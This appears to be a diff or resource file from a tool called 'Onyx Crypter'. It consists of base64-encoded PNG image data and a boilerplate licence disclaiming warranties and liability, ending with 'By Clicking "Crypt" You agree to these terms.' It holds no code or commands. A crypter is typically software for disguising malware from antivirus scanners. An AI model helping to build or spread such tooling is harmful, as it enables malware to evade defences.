kSpobnuCyA4gbHEDI9FqeOdaLGc2d3C8Ld97k2g4H0EkHjGD/E6dUUTMk3V3hCUkK0cjbyv8Vp3RvW0s + uuocnTxwzoOU/OyjwfzGvKTQ6ON+hZqk2AaclU33iqw4j/DLoSZp9vB9ndt8UbNPJDKZG/nlOqPRb5F0 + +69mTgVMUUG3jyWoZp5OUrnAxbb0FoT/Ru5XqCW17MOymfNbNedvQS8K/HKoSZrXO/fpV6hvez+/FGr3 + d/XdSu9/FtFS6+RkApwFbdOZhKC6F4I3RgTQ30XuV6jRnF2atGhuq97lVj37AL8capTs3rhvVa9P0+EI + vxRqbYo3U1Lc35sZAXgvUc/+hgg4FwjAyqDinsJqkPtWZ6Lm7EHSBATV3sIv1xn1OYum16/VROmOICfw + W3VG99ayqtHEksjynZ49P04AoFoFvH5aNt7M/RszGvXVsuldYRWApoGk5S9RxDzJb4+ZTBWD+j0QJDb2 + qnmfyWZmFm8yZnNWZBdImkNCNS/8gYYCYBRYgjC8D2QqE5KeXUglbBlGHg/VhmnVaXuUylsfjfYTVF4W + 0hpgNeWR4/XrABJB9X6UNW+daHiPUmJcQtOpJKjORR4lTUVjATgwakF1QOM2lL2QEEUksCUmIoL+BvGJ + 5AOAaBAViCL0WStoM3FNARgQ6lighBCvw3W3rbZr7sKnHv9JADSOJP5lQHD/OqYAhbLiXiZconX8SKQA + n8l3NiX5tKtFYwFIMTwk6t4RWqJ2yqYzf7byUpI+OMhRAnyWVWc+VZiVsuF8yAazJhoaCgC16JPa7pY1 + a6bxShV5a1m0ZhpKe20khArAypFmf1P71ZHq7J1vlfb3G4XKQaNYeScSIF+t0nC/7g0s4DQSM2lxRyX7 + 66DkhgqApTDV8B7+TMIoDHaYPftHVu14309vPRgpwGeLfDeL5TSng1VsNz7vNBYA4a+67OsiM1duNQvl + P9Jb3/XNYiWSYL7nBi+q3j6RC/AsW8+EChAkv6fsTiZAsbIOKk7sNGqocihvACdKih1BMmwsgOoyAYzC + 0PbOKSAA57ADnGjk09cUAGUDjc3i4K6V2w/VdRg1VDmUd4MTfe64dgQEAlA2fXXqCDC4KxYgFiAWIBYg + FiAWIBYgFiAWIBYgFiAWIBYgFiAWIBYgFiAWIBYgFiAWIBYgFiAWIBYgFqCBAGb30M6pIoDVXem/bgGw + LwiNKQJKq3YcDu00SgAHo1hmW3olxa7/7/DYZulAAL4/QC8Odnb2vkedDNV1Gh0M+eBg5CtdTAB9vABs + s7SoOD9Xt7x6Ps4IiarzAhqntlRm6LmB79kGg+4IikA+880RP2j54bvAiUZ8LTiyzZpsu7x7JkE/Pq89 + MEE5YCcaw6xC+cH2nuGvVvYeYp1hPkUBzFcaeat04KTuvjW2Sx1noBhH4opIYAcmRM3eV3tkRlC9C8ma + IzPLN+69M1WsdKVKB3oMSibIqP9nwEf4mtr8dtfSzGszOI3EHC1zr2DY58GRDTY4q3aZH5qqhgVTBhul + 9OwnlDCS/NnIGw6A0bz/+Oo+Qcp3xBlVgR2bw97AumNzlCAk0+sTNGc9sqekuGk8EAXAV/gsaNn1jAMl + +tpNkuzYnGJ/14JjczAcmWWnRmv27SNU2MFJUgrzJYqA75jzQdgzXsRR1guXk5q9hJEPDMdJGx6dpbIR + SdRyQNjjfAKRJ67PcdrjDac4ZNP7gh1v5SOPcgEFIwnyPYgEcJKt/JeCmn2c0w037BMWtHy7bOT2oETi + CLpgOOexaooS4DPqvLDCPiabuT2ykW8X0humc5rcEol/ADb6D8SJbGXzAAAAAElFTkSuQmCC + + + + The Creator/s and Owner/s of Onyx Crypter are know as OCC/O in these terms. + +1. disclaimer of warranties and indemnity + +1.1 OCC/O makes no warranties, conditions, undertakings or representations of any kind, either express or implied, statutory or otherwise in relation to the software including without limitation any implied warranties or conditions of merchantability, satisfactory quality, fitness for a particular purpose, non-infringement or arising from course of dealing, usage or trade. some states/jurisdictions do not allow the exclusion of implied warranties, so the above exclusion may not apply to you and you may have other legal rights that vary from state to state or by jurisdictions. without limitation to the foregoing, OCC/O does not warrant that the software will meet your requirements or that the operation of the software will be error free or uninterrupted or that defects in the software will be corrected. + +1.2 OCC/O does not represent that you are entitled to remove any third party applications and disclaims liability for any recommendations made by OCC/O, its employees and sub-contractors in connection with your use of the licensed product. + +1.3 you shall fully and effectively indemnify OCC/O for any claim, action, proceeding, liability or expense suffered by OCC/O as a result of your use of the licensed product. + +2. limitation of liability + +2.1 you use the software at your own risk. to the maximum extent permitted by applicable law, in no event shall OCC/O be liable to you or to those claiming through you for any direct, indirect, consequential, incidental or special damage or loss of any kind including, but not limited to, loss of profits, loss of contracts, business interruptions, loss of or corruption of information or data however caused and whether arising under contract or tort, including negligence, even if OCC/O has been advised of the possibility of such damages. + +2.2 if any limitation, exclusion, disclaimer or other provision contained in this licence agreement is held to be invalid for any reason by a court of competent jurisdiction and OCC/O becomes liable thereby for loss or damage that may lawfully be limited, such liability whether in contract, tort or otherwise, will not exceed the fee paid by you for the software. + +By Clicking "Crypt" You agree to these terms. + + + + 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 + 